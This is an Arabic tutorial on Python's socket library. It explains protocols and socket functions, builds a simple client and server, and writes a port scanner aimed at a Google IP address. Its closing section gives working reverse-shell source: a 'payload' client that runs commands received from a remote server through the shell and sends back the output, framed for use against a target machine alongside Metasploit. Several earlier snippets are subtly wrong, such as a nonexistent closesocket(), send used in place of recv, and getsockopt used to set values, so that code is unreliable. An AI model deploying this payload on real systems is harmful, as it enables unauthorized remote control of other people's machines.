مكتبة socket في لغة بايثون
مكتبة ( socket ) سوف نتعرف عليها اليوم في درسنا هو بمجال الشبكات Networking في بايثون وهذا الجزء مهم جداً جداً ,سوف نتحدث عن مكتبات مهمة.
سوف نشرح اليوم عن مكتبة مهمة في لغة بايثون و هي مكتبة socket الخاصة في التعامل مع الشبكات. يجب أن يكون لك خبرة في أساسيات لغة بايثون قبل الشروع و إكمال هذا الدرس, يمكن العودة للدروس السابقة و تعلم أساسيات لغة بايثون.
شرح مافي الصورة السابقة
لدي جهاز كمبيوتر مكتبي نريد أن نوصله بالانترنت و أخذنا له سلك شبكة من الراوتر لتغذيته بالأنترنت, معنى ذلك أنه سيكون هناك بورت محدد مفتوح بينهما، سيكون في السلك تسير به bits ذهاباً و إياباً, و الكابل بأطرافه Rj-45 لتوصيل النبضات الكهربائية بين الطرفين، و تكون سرعه الجهاز لدي هي 1mb.
و ايضاً يكون لدينا لابتوب نستطيع ربطه عبر كبل مثله مثل الكمبيوتر أو عبر wifi، و سوف يأخذ IP و بورت بشكل طبيعي نستطيع عمل عليه إختبار عبر nmap و غيره بشكل طبيعي. و الاكثر إنتشاراً في عالمنا هو هواتفنا التي بأيدينا ليلاً و نهاراً, نستطيع الإتصال بأي شبكه بشكل لاسلكي عبر wifi و وظيفة الراوتر هي الإتصال بهذه الأجهزة و هو مسؤول عن كل شيئ, و يكون على دراية بكل شيئ ضمن هذه الشبكه, نستطيع من خلاله تحديد IP أي جهاز متصل أو هوست نيم ....... الخ.
فإذا نريد أن يأخذ الكمبيوتر المكتبي إنترنت عبر wifi يجب أن نركب له كرت شبكه و يتصل مثله مثل اللابتوب wifi.
تحميل مكتبة socket على ويندوز
لتحميل مكتبة socket على نظام windwos نقوم بفتح موجه الأوامر cmd ثم تقوم بكتابة الأمر pip install sockets ليتم البدء بتحميل المكتبة لدينا عند الإنتهاء.
pip install sockets
بنفس المبدأ يتم تحميلها على نظام لينكس بكتابة الأمر نفسه في تيرمنال و ننتظر إنتهاء التحميل.
مفهوم مصطلح Socket
مصطلح socket هذا المصطلح في اللغة العربية يعني مقبس يقوم بالربط بين شيئين بشكل عام, و لكي نفهم هذه النقطة بشكل صحيح. "تخيل معي بأن لمبة كهرباء في غرفة و تكون مكونة من سلك كهربائي منسدل من سقف هذه الغرفة و متصل في هذه اللمبة و يتوسط بينهم قطعة تسمى 'سوكة' و هي التي تربط بين السلك و اللمبة لكي تمد هذه اللمبة بالتيار الكهربائي لكي تضيئ". هذه السوكة نعتبرها مكتبة socket.
أما الـ socket برمجياً في موضوعنا في هذا الدرس سيكون لربط برنامجين مختلفين بإتصال مباشر لنقل و إرسال البيانات.
الـ server نقصد به الخادم الرئيسي الذي يستقبل العملاء Clients و يصدر لهم الأوامر لكي يقوموا بتنفيذها, يجب أن لا نخلط بين مصطلحي السيرفر و الباتش.
الـ Client نقصد به العميل المستقبل الذي يقوم بالإتصال في السيرفر و يستقبل منه الأوامر و يقوم بتنفيذها.
إستدعاء مكتبة socket في بايثون
نقوم بإستدعائها ببداية البرنامج بالأمر import socket ثم يكون بعض الميثود موجودة و هي : الـ address family : طريقة كتابة العناوين الخاصة في البرنامج, و اكثر الطرق المستخدمة في هذا هو الـ AF_INET و يعني العنوان الخاص في البروتوكول بإصداره الرابع Ipv4 و الـ AF_INET6 العنوان الخاص في البروتوكول الإصدار السادس Ipv6.
بروتوكولات الشبكات Protocol
هي مجموعة من القوانين و الإجراءات التي تستخدم للإتصال و تكون مهمتها تحديد القوانين و الإجراءات التي تتحكم بالإتصال و التفاعل بين أجهزة الكمبيوتر المختلفة على الشبكة. و هنا بعض الأمور التي تتعلق بالبروتوكولات و هي :
- إختلاف الكثير منها في عملها ووظيفتها.
- من الممكن أن تعمل عدة بروتوكولات معاً لتنفيذ عمل ما.
- لكل بروتوكول مزايا و عيوب.
و البروتوكولات الأكثر إستخداماً على الشبكة العنكبوتية هي Tcp و UDP.
بروتوكول TCP مميزات SOCK_STREAM
إن بروتوكول TCP هو بروتوكول مبني على الإتصال connection-based و يوفر آلية لتصحيح الأخطاء و ضمانة لتسليم البيانات عبر ما يعرف بالتحكم في الجريان flow control و يحدد التحكم في الجريان, متى يجب إيقاف نقل البيانات و إعادة إرسال الرزم التي أرسلت سابقاً و التي واجهت مشاكل كالتصادمات collisions إذا أن التأكيد على الوصول الدقيق و الكامل للبيانات عبر بروتوكول TCP هو أمر جوهري في عملية تبادل البيانات المهمة كالتحويلات في قواعد البيانات.
بروتوكول UDP مميزات SOCK_DGRAM
بروتوكول UDP هو إختصار للمصطلح User Datagram Protocol على الجهة الأخرى هو بروتوكول عديم الإتصال connectionless الذي نادراً ما يتعامل مع عمليات نقل البيانات المهمة لأنه يفتقر إلى التحكم في جريان البيانات أو أية طريقة اخرى للتأكد من توصيل البيانات عملياً, لكن بروتوكول UDP يستخدم إستخداماً شائعاً في التطبيقات, كتدفق streaming الصوت و الصورة و مستخدماً بكثرة في messenger و Skype و Whatsapp و غيرها..., لتحسين جودة الصوت و المكالمة حيث أنه اسرع بكثير من TCP لأنه لا يحتوي على آلية لتصحيح الأخطاء و التحكم في الجريان و في الأماكن التي لا يهم فيها فقدان الرزم الشبكية كثيراً.
دوال مكتبة socket
1- دالة socket هي دالة تقوم بإنشاء سوكيت لكي تقوم بتأسيس الإتصال عن طريقه.
>>>import socket >>>s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2-دالة bind تستخدم هذه الدالة لربط السوكت مع عنوان و بورت.
>>> import socket >>> s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) >>> host = '127.0.0.1' >>> port = 4444 >>> s.bind((host,port))
3-دالة listen تسمح لنا بالبدء بالتنصت على عنوان و بورت معين لكي نستقبل الإتصالات الواردة عليه فيما بعد.
>>> import socket >>> s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) >>> host = '127.0.0.1' >>> port = 4444 >>> s.bind((host,port)) >>> s.listen(5)
4-دالة accept هي دالة نستخدمها لإستقبال الإتصالات الواردة لدينا بعدما نكون قد اجهزنا عملية التنصت على البورت.
>>> import socket >>> s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) >>> host = '127.0.0.1' >>> port = 4444 >>> s.bind((host,port)) >>> s.listen(5) >>> con,adr = s.accept()
5-دالة connect هي دالة نستخدمها للإتصال المباشر بعنوان آيبي معين.
6-دالة gethostname هي دالة ترجع لنا بستركتر (هيكل) يحوي معلومات شبيهة بالدالة السابقة لكن هذه سوف نستخدمها عندما نحاول الإتصال بهوست و ليس آيبي مثل google.com.
>>>import socket >>>socket.gethostname() 'DESKTOP-GTB7OI4'
7- دالة recv هي دالة نستخدمها لإستقبال الحزم البيانية Packets.
>>>import socket >>>sock.send(1024)
8-دالة send هي دالة نستخدمها لإرسال الحزم البيانية Packets.
>>>import socket >>>sock.send(b'welcome')
9-دالة closesocket هي دالة نستخدمها لإغلاق السوكت عند الإنتهاء منه.
>>>import socket >>>sock.closesocket()
10-دالة gethostbyname هي دالة تستخدم للحصول على آيبي النطاق.
>>>import socket >>>Domain = "google.com" >>>ip_web = socket.gethostbyname(Domain) >>>print(ip_web)
11- دالة gethostname هي دالة تستخدم لمعرفة آيبي الجهاز على الشبكة.
>>>import socket >>>socket.gethostname()
12- دالة settimeout هي دالة الإنتظار حسب الثواني المطلوبة.
>>>import socket >>>s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) >>>s.settimeout(30)
مثال
>>> import socket >>> socket.gethostname() #لمعرفة هوست جهازي 'kali' >>> socket.gethostbyname('kali') #لمعرفة ايبي جهازي '127.0.1.1' >>> port = 22 >>> socket.getservbyport(port) #لمعرفة هذا البورت الذي حددناه 'ssh' >>> socket.getservbyname("ssh") #عكس العملية السابقة 22
long host & short host
في المستوى المنخفض من البيانات يلزم أن يحصل على "transmission over rights betwen machine " يكون للجهاز و الشبكة لهما كل واحد صيغة مختلفة, وهذه الصيغه تكون integer يلزم تحويل الصيغة و يوجد long و short .
مثال
لدينا نوعين من البيانات data وهي integer سوف نحولها لـ transmission network format سوف نعمل لها short او long .
>>> import socket >>> data = 997 #نوع البيانات >>> socket.htonl(data) #بيانات long 3842179072L >>> socket.htons(data) #بيانات short 58627 >>> socket.ntohl(3842179072L) #بيانات متحولة معكوسة 997L >>> socket.ntohs(58627) #بيانات متحولة معكوسة 997
في مثالنا إستخدمنا الرقم 997 كنوع بيانات و حولّناه لنوع بيانات طويلة و قيصرة عبر htonl,htons و بعدها عكسنا العمليات.
معنى htonl هي اختصار من الكلمات :
- h = host.
- to = to.
- n = network.
- l = long
معنى htons هي اختصار من الكلمات :
- h = host.
- to = to.
- n = networks = short.
set and get timeout
سوف نتحدث عن timeout مثلا فتحنا جلسة وعملنا الآتي
>>> import socket >>> sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) >>> sock.settimeout(50) #عدد ثواني الانتظار >>> sock.gettimeout() #عرض الوقت 50.0
قلنا بالمثال ان socket توجد ميثود ثانية اسمها socket بنفس الاسم ولها 2 ارجيومنت أولها هو (socket.AF_INET) يعني الايبي يكون ipv4 و الارجيومنت الثاني هو (socket.SOCK_STREAM) يعني الاتصال مفتوح بين العميل و المخدم في اتصال tcp وبعدها قلنا له الانتظار يكون 50 ثانية و عرضنا الوقت وعرضه بشكل طبيعي.
مثال
ليكن لدينا عنوان ايبي طبيعي و نريد تحويله إلى صيغة network, مثلاً اذا اتينا لعمل صورة للداتا في النيت وورك لا نراها بالصيغة الذي نراها طبيعيه, بل نراها بصيغة البايتس و يلزم ان نرجعها لصيغة الادرس لكي نرى الادرس بشكل طبيعي توجد methods تمكننا من هذا.
>>> import socket >>> ip = "192.168.1.1" #ايبي طبيعي >>> ip '192.168.1.1' >>> socket.inet_aton(ip) #تحويل لصيغة تفهمها الشبكة b' \ xc0 \ xa8 \ x01 \ x01' >>> socket.inet_ntoa(b' \ xc0 \ xa8 \ x01 \ x01') #عملية عكسية للسابقة '192.168.1.1'
معنى aton
- a = ip address.
- to = to إلى
- n = network.
هذا يفيدنا كثيراً في مجال sniffing.
حجم الإستقبال و الإرسال buffer size
يعني أن هذا يستخدم لمعرفة حجم الإستقبال والإرسال لدينا.
>>> import socket >>> sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) >>> d_s = sock.getsockopt(socket.SOL_SOCKET,socket.SO_SNDBUF) >>> d_s 16384 >>> d_r = d_s = sock.getsockopt(socket.SOL_SOCKET,socket.SO_RCVBUF) >>> d_r 131072
في البداية أنشأنا جلسة بإسم socket و عيننا لها القيم socket.socket و AF التي تعني ipv4.
و d_s يعني default, وعن طريق هذه الميثود getsockopt نعرف اللفل الذي لدينا, اللفل هو socket.SOL_SOCKET هو من لفلات الشبكة, وبعدها وضعنا socket.SO_SNDBUF يعني اعطينا ماهو default send buffer, وبالسطر الذي يليه كتبنا d_s و أعطانا الديفولت وهو 16384.
وبعدها وضعنا d_r يعني الأستقبال, و طلبنا أن يعطينا الأستقبال SO_RCVBUF و اعطانا اياه عند كتابة d_r. ولتغيير هذه القيم السابقة نستخدم كالتالي
>>>sock.getsockopt(socket.SOL_SOCKET,socket.SO_SNDBUF,1024) b' \ x00@ \ x00 \ x00'
لا يحتاج إلى شرح فقط اضفنا له القيمة الجديدة في النهاية 1024 و رجع لنا الرقم بشكل تفهمه الشبكة.
simple server & client server
لكي نعمل simple server و simple client يجب علينا ان نعمل اولاً بعض الخطوات المهمة لعمل سرفر وهي :
- bind : معلومات الاتصال يعني السرفر و البورت.
- listen : تعني التنصت مع السرفر.
- accept : القبول من السرفر.
- send : الأرسال.
- recv : الأستقبال.
مثلا نريد عمل port scanner يجب أن نكون على دراية أنه توجد ميثود بسيطة لعمل هذا, مثال
>>> import socket >>> sock = socket.socket (socket.AF_INET,socket.SOCK_STREAM) >>> sock.connect_ex(("127.0.0.1",80)) 0 >>> sock.connect_ex(("127.0.0.1",21)) 10056'
الأول هو 0 يعني البورت مفتوح و الثانية 10056 يعني مقفول, أي قيمه غير 0 يعني مقفول.
إنشاء سيرفر server بسيط عبر مكتبة socket
import socket #my server try: s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind(("127.0.0.1",5555)) s.listen(5) client , addr = s.accept() print("connection from {0}".format(addr)) except socket.error as e: print(e)
إستخدمنا الـ exception الاساسي بالبداية وبعدها وضعنا متطلباته الذي ذكرناها قبل قليل bind ووضعنا الاتصال على local لدي و البورت 5555, و استخدمنا listen للتنصت على الاتصال و بعده القبول accept وقلنا له اي شخص يتصل بالسيرفر يجب ان تطبع لنا الـ addr وقلنا اطبع لنا e اذا حصلت اي مشكلة.
إنشاء عميل بسيط client عبر مكتبة socket
ايضاً ( في الـ client لسنا بحاجة لعمل bind ولا listen ولا accept ) نحتاج فقط الاتصال connect.
import socket #my client try: s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("127.0.0.1",5555)) except socket.error as e: print(e)
نستخدم حصراً نفس البورت الذي في الـ server وهو 5555 مجرد ما السيرفر رأى client سوف يقول لنا السيرفر انه حصل اتصال.
إنشاء أداة لفحص البورتات المفتوحة و المغلقة
import socket try: sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) port_list = [80,21,22,8080,4444,4545,4343,433] for p in port_list: scanning = sock.connect_ex(("172.217.18.46",p)) if scanning == 0: print("{0}:is open".format(p)) else: print("{0}:is close".format(p)) except socket_error as e: print(e)
وضعنا بالأداة فحص البورتات التالية [80,21,22,8080,4444,4545,4343,433] لفحص ايبي موقع جوجل ووضعنا شروط لها اذا كان 0 يكون بورت مفتوح و اي رقم غير الـ 0 يكون بورت مغلق و بالاخير اعطيناه اطبع لنا e اي القيم. وعند تشغيل هذه الأداة ستكون النتيجة
- 80: is open.
- 21: is close
- 22: is close
- 8080: is close
- 4444: is close
- 4545: is close
- 4343: is close
- 433: is close
إنشاء إتصال بين نظام تشغيل و بيلود
إنشاء اتصال بين نظام التشغيل و العميل عبر حمولة يتم برمجتها في مكتبة socket بلغة بايثون. سوف نتعرف على command shell Payload أي كيف نبرمج بيلود عبر socket أو low level وظيفته يفتح لنا اتصال بينه و بين command execution.
نرى في الصورة نظام تشغيل os و على جانبه يوجد بيلود, اي يعني أن السطر الاسود المتصل بين النظام و البيلود هو الاتصال الدائم بينهما. و الخط الأحمر هو ارسال و استقبال فيما بينهما, و آلية عمل هذا البيلود عبر مرحلتين وهما: عن طريق سيرفر و السيرفر يتبع الـ handling أي على اتم الجاهزية لأستقبال اي اتصال به و بعده ارسلنا client الذي عبرناه كـ payload و ارسلناه إلى نظام التشغيل و عند تشغيل هذا البيلود سوف يتصل بـ command execution.
وبعدها بدأت عملية الاتصال بنجاح بالارسال و الأستقبال, لمشاهدة الشرح فيديو من هنا.
إنشاء سكربت Client script في بايثون بواسطة socket
import socket from subprocess import PIPE , Popen import os #my client try: s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("127.0.0.1",5555)) s.send("the clinet user is {0}".format(os.getlogin()).encode("utf-8")) while True: command = s.recv(3500).decode("utf-8") p = Popen(command,stdout=PIPE,stderr=PIPE,shell=True) if p.communicate()[0] == ''.encode('utf-8'): s.send(p.communicate()[1]) else: print(s.send(p.communicate()[0])) except socket.error as e: print(e)
إستدعينا المكاتب عبر الأمر from subprocess import PIPE , Popen و اعطيناه while القيمة True و امر الأستقبال 3500 و عملنا له utf-8 و استخدمنا مكتبة subprocess اختصرناه بـ p = Popen. و ارسلنا نتيجه الأمر عبر if p.communicate واستخدمنا الـ format.
إنشاء سكربت Server script في بايثون بواسطة socket
import socket #my server try: s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind(("127.0.0.1",5555)) s.listen(5) client , addr = s.accept() print("connection from {0}:{1}".format(addr[0],addr[1])) while True: data = client.recv(500000) print(data.decode("utf-8")) command = str(input(" < command > ")) client.send(command.encode("utf-8")) except socket.error as e: print(e)
اضفنا تعديلات لسكربت السرفر while True يعني البدء في الإستقبال و الأرسال و وضعنا أمر الطباعة print فوقه و اضفنا {1} لمعرفة البورت و الهوست,و بعدها بدأنا بأستقبال الداتا عبر data = client.recv(500000). و 500000 تعني حجم حزمة الاستقبال وبعده قلنا اطبعه لنا بصيغة تكون غير صيغة encode binnary و تكون الصيغه utf-8 و بعده اعطينا امر آخر = input قد عملنا rec و طباعة, واعطيناه ارسال clint.send ارسلنا الأمر , يعني نرسل له الامر و استقبلها و بعده نرسل له من جديد.
هنا اصبح الـ client هو البيلود الذي شرحناه في الصورة السابقة و يجب علينا هنا ان نستخدم هنا الميتاسبلويت, نكتب msfconsole لتشغيلها. ليحصل اتصال عكسي عند تشغيله, نشغل اولاً السيرفر لأنتظار اتصال البيلود client عند الاتصال سيعرض لنا البورت و مستخدم الحاسب حسب الأمور الذي نكون قد وضعناها في السكربت.